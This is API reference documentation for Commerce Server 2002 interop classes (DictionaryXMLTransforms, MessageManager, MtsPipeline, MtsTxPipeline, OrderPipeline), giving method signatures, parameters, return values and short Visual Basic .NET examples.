  • The DictionaryXMLTransforms object processes only dictionary keys with names that would be allowable as XML node names. Allowable characters include A-Z and the underscore "_" character. Disallowed characters include"*", "\", etc., and foreign-language characters.
  • Every dictionary key value must be URL-encoded.

Methods

Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object.

Remarks

The example code that calls this method can be found in the Payment.asp and _recvpo.asp files. An example of the use of an XML schema can be found in the POSchema.xml file in the Solution Sites.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

General Purpose Objects

Dictionary Object


DictionaryXMLTransforms Methods (PIA)

Methods

Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object.


DictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary Method (PIA)

Use this method to generate an XML Data Reduced (XDR) schema. This method produces an XML instance based on the specified Dictionary object. You can then import this XML instance into a tool (such as the BizTalk Editor) that can construct a schema based on a given instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateSampleXMLInstanceFromDictionary(
  Dictionary As IDictionary,
  ElementName As String,
  bIgnoreUnderScore As Boolean
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                               //For IXMLDOMNode
…
public IXMLDOMNode GenerateSampleXMLInstanceFromDictionary(
  IDictionary Dictionary,
  string ElementName,
  bool bIgnoreUnderScore
);

Parameters

[Visual Basic .NET]
Dictionary
Interface to a Dictionary object that contains the data to convert into XML.
ElementName
A String that contains the element name.
bIgnoreUnderScore
A Boolean that that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
[C#]
Dictionary
An IDictionary interface to a Dictionary object that contains the data to convert into XML.
ElementName
A string that contains the element name.
bIgnoreUnderScore
A bool that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to true.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference used to return the XML instance.

[C#] This method returns an IXMLDOMNode interface of the newly created XMLDOMNode object containing the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sElement is a string
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary(dDict, _
    sElement, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


DictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema Method (PIA)

Use this method to extract an XML instance from the specified Dictionary object that conforms to the specified schema.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateXMLForDictionaryUsingSchema(
  Dictionary As IDictionary,
  xmlSchema As IXMLDOMObject
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMNode & IXMLDOMDocument
…
public IXMLDOMNode GenerateXMLForDictionaryUsingSchema(
  IDictionary Dictionary,
  IXMLDOMDocument xmlSchema
);

Parameters

[Visual Basic .NET]
Dictionary
Interface to a Dictionary object that contains the data to be converted.
xmlSchema
An XMLDOMDocument object that contains the XML schema.
[C#]
Dictionary
An IDictionary interface to a Dictionary object that contains the information to be converted.
xmlSchema
An IXMLDOMDocument interface to an XMLDOMDocument object that contains the XML schema.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an XMLDOMDocument object that contains the XML schema.

[C#] This method returns an IXMLDOMNode interface to an XMLDOMNode object that contains the XML instance.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object
' oXMLDOMDocument is a XMLDOMDocument object
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema(dDict, _
    oXMLDOMDocument)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


DictionaryXMLTransforms.GetXMLFromFile Method (PIA)

Use this method to generate an XML Document Object Model (DOM) document from the specified file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetXMLFromFile(
  sFileName As String
) As IXMLDOMObject
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMDocument
…
public IXMLDOMDocument GetXMLFromFile(
  string sFileName
);

Parameters

[Visual Basic .NET]
sFileName
A String that contains the name of the file to convert.
[C#]
sFileName
A string that contains the name of the file to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to an XMLDOMDocument object containing the converted file data.

[C#] This method returns an IXMLDOMDocument interface of the XMLDOMDocument object, which will contain the converted file data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyFileName.txt is a string
' oXMLDOMDocument is a XMLDOMDocument object
oXMLDOMDocument = _
    oDictionaryXMLTransforms.GetXMLFromFile("sMyFileName.txt")

Remarks

This method does not return an error when the file specified by sFileName is an .exe file, a text file, an invalid XML file, or a nonexistent file. The error type can be found only by viewing the ParseError property of the DOMDocument object.

[C#] The returned interface is valid only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


DictionaryXMLTransforms.ReconstructDictionaryFromXML Method (PIA)

Use this method to transform the specified XML instance (which must comply with the specified schema) into a Dictionary object. This method performs the inverse operation of the GenerateXMLForDictionaryUsingSchema method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ReconstructDictionaryFromXML(
  szDictionaryXML As String,
  xmlSchema As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
using MSXMLLib;                        //For IXMLDOMDocument
…
public IDictionary ReconstructDictionaryFromXML(
  string szDictionaryXML,
  IXMLDOMDocument xmlSchema
);

Parameters

[Visual Basic .NET]
szDictionaryXML
A String that contains the XML instance.
xmlSchema
An object reference to a XMLDOMDocument object that contains the XML schema.
[C#]
szDictionaryXML
A string that contains the XML instance.
xmlSchema
An IXMLDOMDocument interface to an XMLDOMDocument object that contains the XML schema used in the conversion.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to a Dictionary object that contains the converted data.

[C#] This method returns an IDictionary interface of the reconstructed Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyXMLInstance is a string
' oXMLDOMDocument is a XMLDOMDocument object
dDict = _
oDictionaryXMLTransforms.ReconstructDictionaryFromXML(sMyXMLInstance, _
    oXMLDOMDocument)

Remarks

[C#] The returned interface is valid only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_dictxmlxfrms (in cs_dictxmlxfrms.dll)

See Also

DictionaryXMLTransforms Class


MessageManager Class (PIA)

Use this object to store error messages in the multiple languages that Order Processing pipeline (OPP) components use to describe error conditions generated during order processing.

Methods

Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.

Properties

Property | Type | Description
defaultLanguage | String | Specifies the default message set for the MessageManager object. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)


MessageManager Methods (PIA)

Methods

Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.


MessageManager.AddLanguage Method (PIA)

Use this method to add a message set to the MessageManager object, and associate that message set with a locale. In subsequent calls to MessageManager object methods, the caller needs to identify the message set name, not the locale.

Any number of message sets can be associated with a single locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub AddLanguage(
 bstrLanguage As String,
 Locale As Integer
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void AddLanguage(
 string bstrLanguage,
 int Locale
);

Parameters

[Visual Basic .NET]
bstrLanguage
A String that contains the name for the message set to add to the MessageManager object.
Locale
An Integer that uniquely identifies the locale to associate with the added message set.
[C#]
bstrLanguage
A string that contains the name for the message set to add to the MessageManager object.
Locale
An int that uniquely identifies the locale to associate with the added message set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.AddLanguage("usa", 1033)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.DefaultLanguage

DataFunctions.Locale

MessageManager.GetMessage


MessageManager.AddMessage Method (PIA)

Use this method to add a message to the MessageManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub AddMessage(
 bstrName As String,
 bstrMessage As String,
 vtLanguage As Object
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void AddMessage(
 string bstrName,
 string bstrMessage,
 object vtLanguage
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the message name constant, which is a string that identifies the message to add. For a list of common messages and their constant names, see the Remarks section.
bstrMessage
A String that contains the text of the message to add.
vtLanguage
An Object that contains the language name with which to associate the message. This value, if specified, must be a language name added through a previous call to the AddLanguage method. If this parameter is not supplied, the language specified in the DefaultLanguage property of the MessageManager object is used.
[C#]
bstrName
A string that contains the message name constant, which is a string that identifies the message to add. For a list of common messages and their constant names, see the Remarks section.
bstrMessage
A string that contains the text of the message to add.
vtLanguage
An object that contains the language name with which to associate the message. This value, if specified, must be a language name added through a previous call to the AddLanguage method. If this parameter is not supplied (Type.Missing), or is null, the language specified in the DefaultLanguage property of the MessageManager object is used.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The following table lists the messages that are used by the default implementation of the Order Processing pipeline (OPP), showing the message name constant expected by the OPP components that use these messages.

Message name constant | Used by OPP component | Added to this collection under this condition
pur_badplacedprice | RequiredItemAdjustPrice | _Basket_Errors when the price of an item does not correspond to the price contained in the order form.
pur_badhandling | RequiredHandling | _Purchase_Errors when the handling cost for an order cannot be computed.
pur_badpayment | RequiredPayment | _Purchase_Errors when authentication code (_payment_auth_code) is not set.
pur_badshipping | RequiredShipping | _Purchase_Errors when the shipping for an order cannot be computed.
pur_badsku | RequiredProdInfo | _Basket_Errors when a stockkeeping unit (SKU) in the order form references an item that is not contained in the inventory for the site.
pur_badtax | RequiredTax | _Purchase_Errors when the tax on a purchase cannot be computed.
pur_badverify | RequiredTotal | _Purchase_Errors when the data stored by the ProcessVerifyWith method does not match the original data in the order form.
pur_noitems | RequiredOrderCheck | _Purchase_Errors when there are no items in the order form.
pur_out_of_stock | FlagInventory, LocalInventory | _Purchase_Errors when an item referenced in the order form is out of stock.
[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.AddMessage("pur_out_of_stock", _
    "At least one item is out of stock.")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.DefaultLanguage

MessageManager.GetMessage


MessageManager.GetLocale Method (PIA)

Use this method to return a number that identifies the locale for the specified message set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetLocale(
 vtLanguage As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int GetLocale(
 object vtLanguage
);

Parameters

[Visual Basic .NET]
vtLanguage
An Object that contains the name of the message set for which you want to retrieve the locale. This message set must have been added to the MessageManager object through a previous call to the AddLanguage method.
[C#]
vtLanguage
An object that contains the name of the message set for which you want to retrieve the locale. This message set must have been added to the MessageManager object through a previous call to the AddLanguage method.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer used to identify the locale for the specified message set.

[C#] This method returns an int used to identify the locale for the specified message set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Like the GetMessage method, the GetLocale method is usually not called from within a site. Instead, it is used by the pipeline component to retrieve the locale for a message that describes an error that the component has encountered.

[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.GetLocale("us")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.GetMessage

MessageManager.AddLanguage


MessageManager.GetMessage Method (PIA)

Use this method to return the text of the specified message.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetMessage(
 bstrName As String,
 vtLanguage As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
public string GetMessage(
 string bstrName,
 object vtLanguage
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the message constant name of the message to return. This is the name associated with this message when it was added to the MessageManager object through a call to the AddMessage method.
vtLanguage
An Object that specifies the name of the message set to which the message text belongs. This string specifies a message set that was added to the MessageManager object through a previous call to the AddLanguage method. If this parameter is not specified, or is Null, the message is returned for the message set identified by the DefaultLanguage property of the MessageManager object.
[C#]
bstrName
A string that contains the message constant name of the message to return. This is the name associated with this message when it was added to the MessageManager object through a call to the AddMessage method.
vtLanguage
An object that specifies the name of the message set to which the message text belongs. This string specifies a message set that was added to the MessageManager object through a previous call to the AddLanguage method. If this parameter is not specified (Type.Missing), or is null, the message is returned for the message set identified by the DefaultLanguage property of the MessageManager object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the text of the specified error message.

[C#] This method returns a string containing the text of the specified message.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The GetMessage method is seldom called from within a site. Instead, it is used by pipeline components to retrieve messages that describe errors that have occurred.

[Visual Basic .NET]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.GetMessage("pur_out_of_stock", "us")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.AddLanguage

MessageManager.GetLocale


MessageManager Properties (PIA)

Properties

Property | Type | Description
defaultLanguage | String | Specifies the default message set for the MessageManager object. This property is read/write.


MessageManager.defaultLanguage Property (PIA)

The defaultLanguage property is a String that is used to specify the default message set for the MessageManager object. When you use the GetMessage method, or use the AddMessage method to add messages to the MessageManager object, without specifying a message set for those messages, then the messages are associated with the message set specified in this property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Property defaultLanguage As String
[C#]
using Microsoft.CommerceServer.Interop;
…
public string defaultLanguage {get; set; }

Parameters

[C#]
defaultLanguage
When setting the property, a string that contains the default language.
When getting the property, a string used to return the default language.

Property Value

[C#] This property is a string containing the default language.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

MessageManager Class

MessageManager.GetLocale


MtsPipeline Class (PIA)

Use this object to run a non-transacted Microsoft Commerce Server 2002 pipeline. The pipeline may be an Order Processing pipeline (OPP).

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.

The MtsPipeline is usually created on each page in which it is used.

The MtsPipeline is not a pooled pipeline. For more information about pooled pipelines, see About Pooled Pipelines.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


MtsPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


MtsPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with the LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispContext
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
Mode
An int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with the LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
An object typically containing an OrderForm object that will be used by the pipeline.
pdispContext
A object containing a Dictionary object.
lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer indicating whether there were warnings or errors detected by components in the pipeline. See the Exceptions section for more details.

In addition, the method returns one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether or not it completed successfully.

The int value returned is set to one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[C#] The returned int is valid only if the method completes successfully.

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMtsPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsPipeline Class

MtsPipeline.LoadPipe

MtsPipeline.SetLogFile

PooledPipeline Class


MtsPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file name.
[C#]
PszFileName
A string containing the pipeline configuration file name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use in the MtsTxPipeline object).

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsPipeline object

errVal = pMtsPipeline.Load("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsPipeline Class

MtsPipeline.Execute

MtsPipeline.SetLogFile

PooledPipeline Class


MtsPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void SetLogFile(
 string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList read and write operations.

Calling the method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is exposed on the OrderGroup object as the LogFile property and should be set before calling the RunPipe method.

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsPipeline object

errVal = pMtsPipeline.SetLogFile("CustomShipping.log")

' pOrderGroup is an OrderGroup object

pOrderGroup.LogFile = "CustomShipping.log"

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsPipeline Class

MtsPipeline.Execute

MtsPipeline.LoadPipe

PooledPipeline Class


MtsTxPipeline Class (PIA)

Use this object to run a transacted Microsoft Commerce Server 2002 pipeline configuration. The pipeline may be an Order Processing pipeline (OPP).

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsTxPipeline is usually created on each page in which it is used.

The MtsTxPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions required." This object holds a transaction that spans all components in the pipeline configuration. For more information about transactions and pipelines, see Pipeline Basics.

When used with a database, the MtsTxPipeline object requires an ODBC-compliant database that supports MTS.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the MtsTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


MtsTxPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

See Also

MtsTxPipeline Object


MtsTxPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
A reference to a Dictionary object. The Order dictionary that will be used by the pipeline, usually an OrderForm object.
pdispContext
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
An int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. In Site Server 3.0 Commerce Edition and later, the mode is set by loading an appropriately configured pipeline with LoadPipe method. Use a value of one (1). A value of zero (0) prevents any stages from running.
pdispOrder
An object typically containing an OrderForm object that will be used by the pipeline.
pdispContext
A object containing a Dictionary object.
lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer indicating whether there were warnings or errors detected by components in the pipeline. See the Exceptions section for more details.

In addition, the method returns one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether or not it completed successfully. For more details, see the Exceptions section.

The int value returned is set to one of the following three values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMtsTxPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsTxPipeline Object

MtsTxPipeline.LoadPipe

MtsTxPipeline.SetLogFile


MtsTxPipeline.LoadPipe (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file (.pcf) name.
[C#]
pszFileName
A string containing the pipeline configuration file (.pcf) name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a configuration file designated for non-transacted pipelines.

[Visual Basic .NET]

Example

' pMtsTxPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.LoadPipe("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsTxPipeline Object

MtsTxPipeline.Execute

MtsTxPipeline.SetLogFile


MtsTxPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment: it degrades performance and may compromise the security of credit card numbers in non-set transactions.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is also exposed on the OrderGroup object as the LogFile property and should be called before calling its RunPipe method.

[Visual Basic .NET]

Example

' pMtsPipeline is a Commerce.MtsTxPipeline object

errVal = pMtsTxPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

MtsTxPipeline Object

MtsTxPipeline.LoadPipe

MtsTxPipeline.Execute


OrderPipeline Class (PIA)

Use this object to run a Microsoft Commerce Server 2002 Content Selection pipeline. Order Processing pipelines (OPP) should generally use a PooledPipeline, PooledTxPipeline, MtxPipeline, or MtsTxPipeline object.

Note

  • The OrderPipeline object should be used in Content Selection pipelines because Content Selection pipelines do not require transactions and because the OrderPipeline is fully re-entrant by multiple threads. Other objects, such as MtsPipeline and MtsTxPipeline, must be used once, destroyed, and re-created by each thread due to the rules of COM+ transactions.

Methods

Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The OrderPipeline object creates and executes an Order Processing pipeline (OPP). The OrderPipeline object is not registered under Microsoft Transaction Server (MTS).

